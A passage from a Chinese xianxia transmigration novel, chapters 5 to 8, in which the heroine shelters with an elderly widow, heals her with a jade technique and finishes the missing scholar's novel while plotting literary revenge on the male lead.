“姑娘，进屋吧，来帮把手。”周老夫人怕荇菜见外，在厅堂口喊她。
荇菜“哎”了声，压下复杂的心情，环顾宅邸：一院两宅。
小宅是灶房、杂物房；大宅一进，入堂屋后左右两厢房，当中方桌、靠北高几，上挂两幅字，写得端端正正：“新年纳余庆，嘉节号长春”。蜀主孟昶的对联。
高几右侧一道后门，直通后院。
蕙永从西厢出来，气鼓鼓道：“那个杀千刀的江郎，让他死在赌桌上吧。他把公子的书稿全弄乱，怎么整理出来啊？呜……”
荇菜放下箧囊，朝小姑娘道：“我来吧。”
蕙永做不了主，看向从箧囊里拿出青袍衣物的老夫人。
老夫人朝荇菜点头，目光慈爱：“姑娘识字吧，麻烦姑娘。永儿，帮姑娘整理公子的卧室，今夜姑娘住那。”
“啊？”蕙永诧异地看向荇菜，目里透露“这不合适吧？”
周老夫人抱紧青袍衣物，嚅唇：“公子修仙去了，暂时不会回来。”
蹒跚着进东厢，背影孤寂。
老人家不想悲伤被人瞧见，一个人偷偷地躲进屋，独自难过。
周老夫人年轻时经历过家人生死，在大风大浪中见到襁褓里的项檀。那时候，她本意寻短见，却因项檀活下来。
人已一把年纪，许多事都能看开，但项檀修仙这事，明面上接受，心里很难过。
荇菜与蕙永大眼瞪小眼。蕙永的眼里含上泪。
荇菜扯唇角：“先收拾吧。”
“哦。”蕙永领荇菜入室，哽咽地念叨：“公子怎么可能去修仙呢？不可能啊。”
西厢的屋子隔出两间。
外间书房，内里卧房。书房的地上飘散一堆手稿，蕙永不知所措地抽泣着：“唔，往日公子亲自整理这些书稿，碰都不让我碰一下，说我会弄乱顺序。其实，我知道公子知道我不喜识字，不爱干这活，才放我出去玩。
如今公子不在，我……”
荇菜无言，一张张地捡起散乱的书稿，堆放整齐。
看向抹泪的蕙永，思索再三，开口道：“永儿，你怎么会说项檀不可能去修仙啊？老夫人不是说你家公子被合欢宗检测出纯水体质，有修仙底子吗？”
蕙永边捡书，边道：“我听老夫人说过公子有仙缘的事，也好奇问过公子。公子说：合欢非我道。这不就是拒绝的意思吗？老夫人说，那年公子跳进镇上的荷花池，死都不肯去。当时，乡长出面，拿欧丝国的体面和时征王爷的面子才说动仙人放手。”
荇菜有种不祥的预感。
“公子一定不愿意去合欢宗修仙。他说过陪老夫人到
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死，会给她送行。他考过乡试，被乡长催着去会试，也没上京城。他说他年轻，得再读几年书。”蕙永叭叭道，“早年老夫人劳心劳力，心疾重到走不动路。后来，公子买了我照顾老夫人。眼见这家日子一天天变好，公子就不见了，呜呜……我真怕老夫人受不住。若不是公子赚钱买药，把老夫人调养得这么好，怕是早撑不住了。”
荇菜五味成杂，书生真是好人。
……老夫人会相信那番说辞吗？像她说得那样，宁可相信人平安，也不愿意相信书生死了。
……不对，怎么能说书生死呢？明明是生死不明……
荇菜心头烦乱，重重地放下书稿，朝蕙永道：“我等一会再整理成册。”
蕙永应下，瞧眼外面的日头：“我去烧点水，热点馒头。”
荇菜轻出口气，自觉地跟去帮忙。
不论消失的人如何，在的人得一日三餐地活着。
灶火下，她得空翻捡金莲的记忆。
金莲的脑子里没有太多的外界知识，只有居所处的一殿白莲，外加一篇《欢情诀》，便是花涟长老的模样都有些模糊不清。
金花一撺掇，金莲紧跟下山，多少有点被关久，好奇外面世界的原因。
恐怕是剧情大婶知道金莲是龙套，简单着墨，就有这样“一清二白”的人生记忆。
青衍镇的人一日两餐，不流行吃午饭。
但是项檀交待过蕙永，老夫人年轻时饿得狠，伤过肠胃，得少食多餐。午时给她送点好克化的小食。
蕙永把早上的馒头热下，加上一碗水送给老夫人。
荇菜也得一份馒头和水，囫囵地填饱肚子。
下晌，蕙永总在找活干，是个麻利的女孩子。
荇菜瞧她像个陀螺，转个不停，找她问话：“怎么总在干活？”
蕙永不自在道：“公子在时，我可以同隔壁的蓉儿玩。可是，公子不在，家中没有进项。若把我卖了，再给老夫人换几贴药钱，能顶几天。我……”
荇菜越发不是滋味，抱着蕙永安慰：“我瞧过你公子的书稿。他在写游侠小说——话本子。我也能写。”
蕙永眨眼，奇道：“小姐不回家吗？”
“别叫我小姐。我叫荇菜，你叫我行姐。”荇菜拉把蕙永的鬏鬏头，惹得她瞪眼。
“我不叫我行姐。小姐喊我永儿就好。”
荇菜哭笑不得，手指自己：“行姐。”
蕙永怯怯地看向荇菜：“荇小姐。”
“行吧。”荇菜放弃同她较真称呼，“同我说说欧丝国吧。”
“咱们欧丝国最大的门派是合欢宗。”蕙永抬头看天：“太阳斜过半，我去做晚膳。”
荇菜看她又去忙，帮她烧灶火。
“听公子说，这个合欢宗只收长得好看、体质特别的童男童女。”蕙永从灶台处歪头，望向灶下的荇菜，“我也是听公子说：大陆十国，各有宗门，什么天龙掌生，三生送死。”
破书里有这段？朱琴天下一站不是去即谷巧遇金花化身的瑶姬，再结伴上青虞宗拜师入门吗？
荇菜戳着烧火棍，回忆原书里第二幕后的章节内容。
5. 第 5 章
原文里，朱琴天离开山洞后奔赴青虞宗。一个专门杀侣证道的无情剑宗。
朱琴天是废材流逆境奋起型男主。
入青虞宗后，在试剑大会上，他对天才大师姐禾诗逸一见钟情，发誓走一条特别的有情剑道。
彼时借用鸳鸯丹化身为朱琴天好友的金花入青虞宗时被识破女子身份。
但她好运得一同进该宗门，成为青虞宗九霄剑尊的小徒弟，道号：瑶姬。
瑶姬抱着找朱琴天复仇的心思入门，却与禾诗逸发生一系列冲突。
在青虞宗的后山秘境，两位美人双双成为朱琴天的后宫。
这段剧情像裹脚布一样写近十万字。
荇菜发现水文和三观不合，叉掉这书，也是受不了吊炸天、自以为是的男主。
朱琴天给得那一剑，势必要加倍还回来。
若要对付朱琴天，就要阻止他加入青虞宗，又或者阻止禾诗逸和化名瑶姬的金花成为朱琴天的后宫。
青虞宗、大师姐禾诗逸、试剑大会，就是朱琴天扬名的地方。
既发誓抢他机缘和女人，就不能让朱琴天得手。
“吧嗒”一声，荇菜手里的烧火棍断成两节。
蕙永探头：“我只知道公子老提：若要儒道大成，得去寻天龙道。天龙道统管十国八大宗，世界最正统、包罗什么的宗门。”
“包罗万象。”荇菜垂目手里已经两截的烧火棍：擀面杖一样的烧火棍就这么断了？我的力气有这么大？
“对。”蕙永因她脱口而出的四字，顿感生活又有主心骨，专心做起晚膳。
荇菜把烧火棍一起塞灶肚，毁尸灭迹。另抽一根棍子捣鼓灶肚。
“荇小姐，你识字，可以去书房找《天生陆地志》。我记得是这个书名。”
“好，谢谢永儿。”
蕙永做饭很快，今日个老夫人没胃口，只做两菜一饭，全素。
周老夫人心里有事，帮荇菜夹两筷子菜，劝慰几句，逼自己吃掉小半碗粟米，搁下碗筷回屋。
荇菜瞧老人家的背影，明明老夫人已经很难过，还劝自己多吃些。
这份关爱让她生出更多无法说清的惭愧。
蕙永放下筷子，轻声啜泣：“公子不回来，以后这家怎么办？我不在，老夫人又怎么办？”
荇菜听她的意思，已经是把自己卖掉换药钱，又难过又想苦笑。
学老夫人给蕙永夹菜，安慰她：“再困难也先把饭吃了。”
摸把蕙永的小发鬏，一起吸气吃饭。
蕙永十二三岁，没遇到过这种事，幸好荇菜在，给她许多安全感。
饭后，白夫子押江郎入宅：“周老夫人，我把人给你带来，情况也问出来。”
周老夫人从屋里匆匆出来，差点绊倒。
荇菜及时扶住她，轻声道：“周婶婶，慢点。”
周老夫人轻拍荇菜的手，快步入院，提起拐杖就砸向江郎。
鼻青脸肿的江郎跪地一滚，哭喊：“老夫人，人不是我杀啊，真不是。”
周老夫人的拐杖定在半空，面色肉眼可见在溃败。所有的消息里，人死了是最可怕的情况。
荇菜赶紧道：“胡说什么，我什么时候对你说项檀公子死了？”
“啊？”江郎一脸懵地看向荇菜，“你……就是你，你害死项檀，谋夺他的钱财。”
周老夫人反应过来，棍子重重地落在江郎的肩头，用全身力气大骂：“畜生，我家檀儿一直顾念同窗情谊，送你衣穿、赠你书册，没少救济钱银给你，却喂大你这只没有良心的中山狼。你为赌债，找人害他。你你……”
荇菜没想到周老夫人猜到不少，一时有些怕她猜到更多，又觉得猜到也好，不至于生些奇奇怪怪的负疚。
白夫子扶住周老夫人，分说道：“老夫人莫急，青山上确实有三具男尸，全是外地人。我已经报官了结。县衙听说是仙人所为，没过多追究，定得是无头公案。江郎欠赌坊不少钱，怕被砍手要债，哄骗项檀说镇外有治心疾的游医，害他追去镇外拦人。镇口有人看到项檀出镇，此后下落不明。
按这位姑娘的话说，最好的情况是遇上仙人，被强行带走。
青山里的三具尸体旁没有打斗痕迹，却被碎骨封喉，手段利落，一般人没有这本事。此外，洞里有些血……”目光落在荇菜已经换好的青布衣袍，又很快收回。
“根据情况，可以证明，这个姑娘不是凶手。”
荇菜的心狂跳，呼吸紧几分。
白夫子忒仔细，但是幸好，他排除自己是凶手。
“我瞧过项檀的衣物，没有破口，应该没有受伤。如姑娘说的，仙人挥一挥手就给他换掉衣衫。”白夫子望向紧张的荇菜，“姑娘，你敢发誓，你说得都是真事吗？”
荇菜见众人望来，脸色一下子涨红。
周老夫人沉默，菊花般的脸皮上嵌双痛苦的眼睛，缀着一丝请求般的希冀。
“我发誓，我说得都是真话。”荇菜望入老人家的眼睛，眨眼说着。
周老夫人的神色瞬间焕发光彩，激动地说：“好。修仙去好。”话不止说给旁人，更是说给她自己听。
她太理智清醒，但是，遇上这事也愿意骗自己去相信。又道，“心疾、游医，檀儿是为我出镇，为我啊。”
“老夫人，宽心啊。”白夫子望着老人家转入宅，已经说不上安慰话，“蕙永，好好看着老夫人。如今，她不哭不闹，伤在心上，闷得越长越危险。她有心疾，晚间，多留意些。”
蕙永瘪嘴点头，鼓起勇气朝江郎呸了声，朝白夫子行礼后跑回屋。
荇菜看向江郎，握拳问：“白先生，这人怎么处理？”
白夫子嫌弃道：“入室盗窃，又欠赌坊钱银，先把人押去县衙，即使能出来，赌坊也不会放过他。”
“他偷走的银子呢，这样算啦？”
“银子早进赌坊，哪能要回来。江郎一穷二白，名声也臭，先送入县衙审判。往后他能出来，也无法继续待在镇上。”白夫子示意手下将人带走。
江郎阴狠地看向荇菜，无声说：你给我等着。
荇菜睨在他的背影，目送这行人离开小院。
刚转身，就听见蕙永的惊呼声，疾步入室。
周老夫人咳大口血，额间冒汗，呼吸急促，看着像是危在旦夕。
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蕙永大哭，已经六神无主。
荇菜赶紧给老夫人侧头，别让血进气管，边道：“别哭，赶紧去请大夫，快。”
“哦哦哦，”蕙永忙不迭跑出屋去请大夫。
荇菜急得不行，团团转后给老人家掐人中、散外衣，听着胸腔如拉风箱的声音，一咬牙对老人家的口，用力吸气，几次后老人家堵在气管的血痰被吸咳出来。
周老夫人无声地看眼荇菜，缓缓地闭上眼睛。
荇菜喊糟，血沫出来，但呼吸微弱，生怕老夫人一个不好就过去。
揉把脑袋，使劲回想办法。
脑海里浮现《玉石还阳功》的第一篇第二章：夺良玉之气，养天地生机。
“玉石？”荇菜奔进项檀的书房，拿起今日见过的镇纸长石。
这是一块黑色的方形石头，被盘得有些包浆，泛油光。它给荇菜一种不一样的感觉：“……感觉……像玉。”
具体说不清这份感觉的由来，就是有这样的第六感。
她把镇石拿进老夫人的房间，学脑海里玉石篇的“功用”指导，尝试将镇纸里蕴含的玉气传给老夫人。
起初尝试几次都不行，越急额头汗越多，面色涨红、血液生热，一股无法言喻的力量从指尖传入镇石。
石头外面像油浆一样的料如碎屑掉落，露出黑长光亮的玉器，继而生出一股盈盈白气。
“成了？”荇菜屏住呼吸，把镇纸上环绕的白气缓缓地送到老夫人的鼻前。
老夫人出气多、进气少，不少白气都被她的鼻息拂开，下一瞬又被吸进一些。
荇菜小心地伺候这团白气，直至全部被老夫人吸入才松口气。
这个过程，一直观察老夫人的面色，肉眼可见地充盈血色，白紫色的双唇润成浅粉，老夫人正在渡过危险期。
掌心的玉石放在桌上，倾斜时落下一手黑灰。黑玉失去玉气，变成一堆灰。
荇菜愣住，又赶紧把灰扔进院里的梓木下。
蕙永拉一位气喘吁吁的老郎中入院，急哭了：“荇小姐，我家老夫人怎么样？”
“在屋子里……”荇菜没法多说，追在两人身后入屋。
老郎中来不及喘口气，先观察周老夫人的面色，再翻看眼睑和口舌，最后搭脉。
进屋时，先观面色，他已是心中有数。
周老夫人的病一直是他料理，如今听说项檀离家修仙，老夫人不病倒才奇怪。
奇怪得是老夫人的心疾不在了。
“……不可能啊。难道……修仙的项檀回来过？”老郎中同蕙永大眼瞪小眼，挪向一直在家的姑娘。
小姑娘是奇人，被歹人撸去能遇仙归来，福气人。
荇菜见他的眼神发亮，抿唇道：“我刚才……昏了一下，莫不是生病了？”
老郎中收起打探的面色，招荇菜近前，给她搭脉。
蕙永完全看不懂状况，奇怪道：“姜老爷子，您不是应该给老夫人看病吗？”
姜郎中收回手，四平八稳道：“老夫人的面色发亮，气血虽亏却不大要紧，喝几贴滋养气血的药，补润脏体就好。不过，怪就怪在这没什么。蕙永啊，你家少爷去修仙了？”
6. 第 6 章
蕙永听出老夫人没有大碍，抿唇点头：“大家都说公子去修仙了。”
姜郎中又看向荇菜，抚须道：“姑娘也没大碍，失血过多，同老夫人一样补补气血。”
“多谢姜先生，请问需要多少诊金？”荇菜应道。
“不必再付。一直是我在料理老夫人的病，项檀在铺里的账上留有诊金，到时一并算。老夫人睡着了，我们出去说吧。”姜郎中背起药箱，时不时看眼荇菜和蕙永，再次问，“项檀真去修仙了？”
荇菜和蕙永跨出门，齐齐点头。
姜郎中颔首，感叹道：“若他知道修仙能救母，早些年还会不会选择跳荷花池？那时候项檀年小，为人又孝顺，多陪了周夫人这么些年啊。
小永儿，你随我去拿几贴补血的药，结了账。往后，不必每旬来铺里抓药，平日在家多进些补血养气的食材。”
蕙永早盼着这一天。老夫人的身体安泰，不必每旬抓药，这是她一直以来求菩萨的愿望。
她激动地朝荇菜点头，紧跟姜郎中，连连应下他叮嘱的话。
荇菜寻思，老夫人的心疾不药而愈，姜郎中把功劳归给去修仙的项檀，认为项檀出镇为老夫人求来灵药。
这也恰好圆掉项檀出镇是为老夫人求医的说法。不过，结局不是皆大欢喜，老夫人好了，项檀没回来。
“是是非非、弯弯绕绕，总算圆了项檀的孝情吧。”荇菜转向屋宅，深吸口气，“奇奇怪怪的愧疚也能少些。
蕙永拿药回家，兼有几两散银，朝荇菜解释：“公子说家里事多，存不住太多的钱，大头交给姜郎中的铺子，反正老夫人是常年需要补药调理。现下，不需要再多抓药，药铺结账后还有余钱。”
她入屋见过老夫人，在老人家枕边放好散银，出来就开始熬药。
荇菜发现她在灶下偷偷地哭，奇怪道：“老夫人病好了，不该高兴吗，怎么还哭呢？”
“呜……”蕙永扑进荇菜的胸口，大声哭说，“公子为老夫人的病一直没肯离家。现在他离家了，姜郎中说是小姐您转交仙药给老夫人用，老夫人的病才能好。谢谢您。我替老夫人高兴，又难过我家公子是不是再也回不来？呜呜呜……”
荇菜轻拍小丫头，望向院里高大葱绿的梓木，无声地安慰她。
翌日，周老夫人一大早坐在院子里的梓木下，如同往常般纳凉。
她知道自己的身体好了，也听蕙永转达过姜郎中的猜测，结合项檀出镇的理由，只能说：造化弄人。
荇菜从屋里出来，周老夫人喊道：“荇姑娘，我托白先生帮忙，找人去玉华镇，问问你的家人可好？”
经过囫囵得一夜，荇菜早已有对策：“周婶婶，我家中……已无父母，只有一位伯父。伯父要我替堂姐嫁给一位合欢宗下属的铺子管事。合欢宗的管事，不论男女，后院里都有不少人。我不乐意，偷跑出来。”
这是玉华镇上的真故事。故事里的女孩为逃避替嫁，花轿过桥时跳河失踪。
金莲脑子里就有这段记忆，转述人是师姐金花。金花还说管事投靠在花涟长老的门下，给师父一峰丢了脸面。
周老夫人默然，仔细地看荇菜说话时的神情。
她活到这个岁数，什么是真什么是假，多少有些分辨能力。
不过，重要吗？
项檀留下全套干净的衣袜和箧囊，囊里的银子还在，说明荇姑娘没有见财杀人。
她人在这，自己的心疾一夜变好，又岂能是坏人？若是坏人，她图什么？
女子孤身出门，谁没个难言之隐、左右为难？
周老夫人更愿意相信项檀在青山里遇到真神仙，不能是合欢宗的仙人。项檀交给荇菜治心疾的灵药，在书局时人多嘴杂没有说，昨日个偷偷给自己服用，治好自己的心疾。
这就是周老夫人在树下坐一早上得出的最好答案。
修仙不是死了，若项檀有心，总有一天会回来看看。只不过，老人家能不能等到是个问题。
荇菜发现老夫人沉默的时间有点久，瞥见探头探脑的蕙永，招呼她过来。
她借着蕙永的亲昵，朝老夫人道：“周婶婶，我不会留在你家很久。昨日，我翻了项檀的书稿，他在写一本游侠闯荡江湖的话本子，我想……帮他续写完再离开。”
周老夫人回过神，眼里润上湿意。
她低头抹把眼角，哽道：“好。若无你，我早死了。你想在这个家留多久就多久。”又向蕙永道：“永儿，过来，”
周老夫人拥着蕙永，朝她道：“永儿，你愿意做我的义女吗？”
蕙永想都不敢想这事，一时张口结舌，反应不过来。
荇菜搭在蕙永的肩头，轻声道：“快说好啊。”
蕙永还是不敢，紧张到流泪。
周老夫人知道她不是拒绝，是不敢相信。她慈爱地抚摸蕙永的发鬓，软声道：“其实，你头次来我家，我就同檀儿说要收你做女儿。只是檀儿没成亲，若贸然收你……闲人会说闲话。”
一个屋子下喊娘，容易被人说道。童养媳可不是什么好名声。
周老夫人继续道：“后来，我说檀儿成亲后再收你做义女也不迟，毕竟你还小。平日，我把你当女儿待，檀儿也是把你当妹妹般护着。”
蕙永快快地点头，哽声道：“老夫人和公子待永儿很好。老夫人给永儿做四季衣衫，公子教永儿识字，就是永儿贪玩，老跑隔壁找蓉儿姐玩。”
“你正是爱玩的年纪，该去玩。”周老夫人抚摸她的小脸颊，望向荇菜。
荇菜接收到老人家的提示，赶紧帮腔：“永儿，还不快叫娘。”
蕙永看看这个又看看那个，鼓起勇气朝周老夫人喊：“娘。”
“哎。”周老夫人重重地应下，拉上聪慧的荇菜，三个人抱在一起。老人家悄无声息地落下眼泪，“好，你们都是好孩子。”
蕙永抹把欢快的眼泪，蹦跳地走开：“我……我去干活。”
周老夫人又朝荇菜道：“菜儿……”
“等等，婶婶叫我荇儿吧，我荇。”
周老夫人起初不懂里
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头的含义，但“我行”两字出来后，品到点语意。
她顺势道：“荇儿，你是个好姑娘，婶子瞧你一身气度，不是凡人家的孩子。婶子还是那句话：你在这家想住多久就住多久。若能帮檀儿完成书稿，更是一件求之不得的事，拜托你。”
老夫人怕是不知道狗尾续貂这个成语。
荇菜侧身避开她的礼，感激这位善良不戳破的老人家：“谢谢你，周婶婶，你是我到这里以来见过得最好的人。”
周老夫人摆手，起身去项檀的房间。
她要把儿子的衣袜整理出来，归入箱笼，方便荇菜暂住。
风过梓木，哗啦啦作响。这方小院好像没什么变化，却已经物是人非。
荇菜接过蕙永送的早餐，边吃边回忆辗转难眠得一夜。
项檀的床上换了干净的被褥，荇菜躺在上面还是不舒服。
夜间，她的脑子里一遍遍过着《玉石还阳功》，功法分为上篇和下篇，上篇为功和用，下篇为法和术。
荇菜从中明白，对玉石的强烈第六感就是来自于功法的上篇。
此外，荇菜在噩梦中记起抓把灵光的场面。
在银月梦境里，书生“啊”得一声释放后整个人化作灵光消散。
他不是去修仙，而是像上岸的美人鱼一样变成灵光泡泡，消失在天地。
后半夜，荇菜是睁着眼睛到天亮，一遍一遍地寻找书生有可能还在的线索。
然而……什么都没有，空空如也的掌心，后面紧接是天亮。
荇菜蒙头盖脸，这段可怕的经历给她的伤害也不小。
她还想起不自觉运转还阳功时，无师自通地运用《欢情诀》。
《欢情诀》像是刻碑一样印在识海，在与书生做时不自觉就运用起来。
荇菜只敢回想一遍《欢情诀》。
这玩意更像是花涟长老把徒弟教成只懂谈情说爱顺便爱做那事的炉鼎。
荇菜揉把头发，《欢情诀》的内容真得是太可怕。
她起身放回碗筷，同蕙永说了声，进书房把项檀留下的书稿重新整编。
项檀写得是少年游侠太仲成为大陆顶级强者的故事。
天才少年名唤太仲，幼时拜得名师，苦学数年后闯荡天生大陆。
太仲年轻气盛，剑指各国不平事，曾扬言哪个国家再开战，就揍那个国家的国主。
这样不可一世的太仲最终引来大陆高手的围剿。
太仲不仅打退高手，还给人家改朝换代，实现小国寡民、若烹小鲜的十国掌权局面。
十国国主共同推举太仲为尊，自此天下不敢妄动战争。
“项檀喜欢写男主无CP。”荇菜搓摸下巴，“这人多用七字行文，若我狗尾续貂，用上白话文，读者会骂吧？”
荇菜又望向里间的床铺，抿唇落笔，唰唰地写一大篇。
首先，男主无CP得变成有CP。
项檀已经写完故事的九成九，正好写到太仲参加十国国主推举他成为顶级强者的十国大会。
7. 第 7 章
荇菜在太仲的故事结尾处加点爱情小甜品。
十国大会上，容貌依旧如少年的太仲遇上高昌国的长公主逸珠仙子。
两人一见钟情互生爱意，与会期间你浓我浓，大会结束后终成神仙眷侣。
仙品爱情，太仲成为完美的忠犬天尊。
写书人、看书人、文中人，对此应该会皆大欢喜。
“哈哈哈哈……看文的读者喜好不一样。东边不亮，咱西边亮，总有人爱看。”荇菜又把粗稿修修改改，添加不少温馨的小日常。
几经调整后终于定稿，她喊来蕙永：“永儿，姐姐托你把这全稿送给白夫子。”
“好。”蕙永接过荇菜连日奋笔疾书的手稿，好奇问，“姐姐不去吗？”
“嗯，我就不去了。你记得把稿费拿回来。对了，若是白先生觉得我的文笔不行，叫他润润。故事走向就是这么个情况。”
蕙永颔首，怀抱稿纸离去。
荇菜不敢亲自去，怕白夫子当面拒稿，容易社死。
荇菜琢磨着，既然可以写太仲的故事，何不再亲自操刀写一本朱琴天的小渣文。在文里加入青虞宗秘境里的机缘，若话本子传去青虞宗在的山泽国，就能帮朱琴天扬名立万的路上增加阻碍。
“朱琴天，你有男主光环又怎么样，我一个人搞不死你，就让所有人一起搞死你。遮遮掩掩的纯阳体质就够你吃一壶。”
【哎，我怎么有种女反派的感觉？】
荇菜拍拍额头，文中与主人公作对的反派都不得好死。
“做就做了，他能杀我，我还不能报仇？什么狗币道理。
金花师姐，为鸳鸯丹不管我的死活，难道不该找她说道说道？”
连日来，邻里老太太见周老夫人的气色不憔悴反倒更好，好奇问：“周婶子，你瞧着年轻啦？”
周老夫人撑起笑脸：“大妹子，你忘记咱家檀儿干什么去了？”
老太太道：“呀，项檀……能回来治好你？”
“呵，我的心病确实好了。”周老夫人不明说，模棱两可地搭话。
荇菜出屋时听得这话，靠近老夫人：“婶婶，人家哪天上门求药，你怎么推辞？”
周老夫人了然道：“我知道你的顾虑。但我现在有两个女儿，若要女儿不被人欺负，得有后台。修仙的檀儿就是你们最好的后台。”
荇菜看着老夫人的背影，不自觉地笑出声，仰首万里无云的天穹，缓缓道：“妈妈，我想你了。”
青衍镇不大，有个什么风吹草动的新鲜事，半个时辰就能传完。
大家都知道周老夫人家的项檀不仅去修仙，还治好周老夫人的心疾。
青衍镇的人对周老夫人越发敬重，上街采买的蕙永和荇菜都会被人客客气气地接待，被人礼让夸赞。
荇菜体会到那句“家有一老如有一宝”的俗语妙处。
青衍书局的白夫子接下荇菜的书稿后来一趟周老夫人家。
他进门就朝荇菜哭：“你写得也太不项檀。项檀怎么不写完就去修仙呢？十国大会，天崩地裂啊。”
白夫子捶胸顿足，叽叽哇哇一通嚎，捂着胸口回去。
时隔一月，白夫子再踏门槛，话没出口，被荇菜精准地射滴墨水进嘴。
“咕咚，”白夫子红润的面色瞬间紧张，“什么东西？”
蕙永窃笑。近日荇菜把墨汁射进墙，美其名曰练习弹指神通。她端碗水给白夫子：“白先生，先漱下口吧。”
“呸呸呸，”白夫子吐出一口黑水，怀疑地沾点口水轻嗅，尴尬道，“我就觉得是墨汁。”
读书人哪会没尝过墨汁的味道。一开始太突然，他不敢认，现下知道是墨汁就没事。
白夫子想起卖得不错的话本子，朝开南窗的书房喊：“荇姑娘，我不是来抱怨，是来报喜。”
周老夫人适机问：“白先生过来坐吧。请问，喜从何来？”
“老夫人，项檀的话本子大卖，外地书商都问我要刊印的原稿。
这买书得不仅有书生、侠客，连大户人家的小姐也看呢。
更厉害得是话本子入了皇宫，国主遣人到青衍书局送赏来了。”白夫子兴奋道，“不过，送礼的公公说：国主要求小改一下，我来争得荇小姐的同意。”
“小改？结局不变罗。”荇菜背手出门，坐到石桌旁，猜测道，“高昌国改为欧丝国？”
白夫子拍掌，竖起大拇指：“不错。国主希望话本的末尾处，与太仲天尊成亲得是欧丝国的公主。”
“白夫子，你知道项檀写的故事主人公是以谁为原型吧？他是真敢写啊。”
荇菜接过蕙永端来的茶水，缓缓道，“天龙道，掌十国生杀权，立于十国八大宗之上。他写得是最大那位的成名史！”
白夫子颔首：“天龙道的道祖天尊……”他做个夸张的表情，将“黄椒”两字囫囵过去。
荇菜见他明白，继续道：“我写高昌国长公主，不写欧丝国就是为避嫌。若天龙道的人看到这则话本子，告诉他们的老祖，有凡人编排他的感情经历。
啧，你想想后果。”
“……不至于吧？”白夫子觉得荇菜在危言耸听，“国主说能改，肯定没大碍。高高在上的人怎么会同我们凡人计较。”
“俗话说得好，多一事不如少一事。天龙道的人看到这话本子，说不定就上门兴师问罪。”荇菜喝口水，又道，“唯有一计可解。”
在众人眈眈的目光下，荇菜点击石桌面：“风险分摊，法不责众。多找人写那位关于情爱方面的话本子，刊发出去，就可浑水摸鱼啦。”
周老夫人还以为荇菜会适可而止，接话道：“荇姐儿，小心驶得万年船。”
白夫子眼前一亮又被老夫人提点地踌躇不定。
荇菜就道：“我还有个绝妙的避嫌法子，项檀用的笔名叫香檀老人，我现在写得《龙傲天有根焉儿坏的烂黄瓜》，开篇注明：香檀老人绝笔。
你派个人将绝笔的口风传出去，将两本稿子打包卖个大价钱，直接让对方买断，不准别家刊印，不然就吃官司。
这样，往后不论是太仲那话本出事，还是《烂黄瓜》出事，都
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不连累咱们的书局、咱们家。
你觉得怎么样？”
白夫子一下子接收太多信息，没反应过来。
他摆手，指上苍：“先不说卖稿的事。龙傲天……不是那位吗？烂黄瓜又是什么？”
“咳咳……这个么，永儿。”荇菜高声喊。
“来了。”蕙永把一叠新书稿送到石桌，被白夫子接去，“姐姐，我先去忙了。”
荇菜点头，同白夫子道：“这就是绝笔稿。我算过，近来换的钱够周婶婶和永儿花用。等你把这本书卖掉，永儿的嫁妆就攒得够够了。
咱们不缺钱，可以继续刊印游记、典籍书册。”她又勾手让白夫子近来，低声道，“刚才风险分摊的事，你可以私下里提点那些兜里缺钱、又想写话本子的人。”
白夫子直起身，睨眼古灵精怪的荇菜。
他放下《烂黄瓜》书稿，一本正经道：“天下无不散筵席。老夫明白姑娘的意思，不想给周老夫人家带来麻烦。你也放心，项檀在书局有分成，书局不倒，饿不着老夫人和永儿。”
“先生大义，项檀兄没有信错人。”荇菜趁机拍马匹。
白夫子又斟酌她提出卖断、绝笔的事，琢磨道：“话本子写了那位，确实卖掉合适，防范于未然。你的鬼点子啊，我会慎重考虑。”
他看向摘菜的老夫人和打扫的蕙永，这个家确实承受不起大风大浪。
白夫子起身道：“改文的事怎么说，国主的人在书局等消息。”
“你肯定好酒好菜地伺候着他。我同意改，不就个名么。国主真要作死，我们也拦不住啊。”
荇菜连翻开局落子，把话本子的风险拦在青衍镇外，才是对周老夫人和蕙永最好的保护，也尊重那消散的项檀。
白夫子重重地点头，应道：“我先回去读稿子，小有润笔，若无大碍按你说的方法实施。”
“多谢白先生。对了，稿子里对烂黄瓜的描述，不能简。我要提醒广大妇女群众擦亮眼睛，看清渣男……这类人。”荇菜肃容道。
白夫子不明觉厉，怀揣稿子离去。
晚间，周老夫人看向吃得津津有味的荇菜，慈声道：“荇儿，听到你和白先生的话，有了投奔的地方吗？人可靠吗？准备什么时候走？婶婶给你准备些衣衫。”
她知道荇菜日渐展露的功夫，出门在外，只要不遇上太厉害的人，吃不了亏。
荇菜搁下碗筷，咽下食物，缓缓道：“我想去修仙，往高昌国去。婶婶，不急，等稿子卖出去再说。咱们啊，攒一笔够蕙永想做什么就做什么的钱。”
蕙永暖暖地笑开。其实，她不太明白荇菜的话意，却知道姐姐在为这个家考虑。
“谢谢姐姐。”
周老夫人看着这样的荇菜，欣慰地笑着，时间证明她没有看错人。
一个月后，二十万字不到的香檀老人绝笔在相隔三个镇外的大城书局发表。
与此同时，不少书生开始写类似太仲天尊的情爱故事。往后一段时间，同类话本如雨后春笋般铺展欧丝国，蔓延向十国乃至海外。
8. 第 8 章
数日后，黄昏时分，白夫子再次上周老夫人家。
白夫子把上门礼交给蕙永，问候老夫人：“老夫人福寿绵长，好日子更在后头，保重身体啊。”
“项檀在外面好好的，咱们娘几个在青衍镇的日子就能过好。”周老夫人应话。
白夫子懂她的意思，笑道：“老夫人放心，项檀不在家，还有我白某人在青衍镇呢，不叫旁人欺负你们。我来找荇姑娘。”
荇菜端茶进屋，胸有成竹道：“若是绝笔稿有问题，先生早来了。”
“荇姑娘聪慧，料事如神。我是来给你送书。”白夫子把藏青底白字封面的《烂黄瓜》书交给荇菜，“风评出来了，主人公秦天被大家大骂特骂，说他朝三暮四，见一个爱一个，不珍惜身边的好女人。只因有纯阳体质，就随意玩弄她人的感情，且不负责任。
总之，别说这本是香檀老人的绝笔。这笔名再出书，怕是都没人理会。”
“那不能。”古代行情下，应有不少推崇朱琴天作风的人。
荇菜笑道，“单单只有香檀老人的绝笔太过显眼，以防不必要的麻烦，请白先生多请几个人用此相似笔名再写几册杂七杂八的话本子。”
“为何，世上真有秦天其人，担心他前来报复？这仿用项檀的笔名，不怕项檀回来找你算账？”白夫子突然道，“你和项檀真是挺配呢。”
荇菜的脸色顿显尴尬，拉扯唇角：“先生，别乱点鸳鸯谱。我很快就要离开这。请先生务必按我说得去做。不管有没有秦天此人，事涉修真界，为这个家，我们都要以防万一。”
白夫子自知失言，见荇菜如此慎重，也郑重地应下此事。
他转话题：“主人公与主人公的风评确实不一样。太仲被人推崇敬仰，秦天被人作为辨别男子滥情的标准。
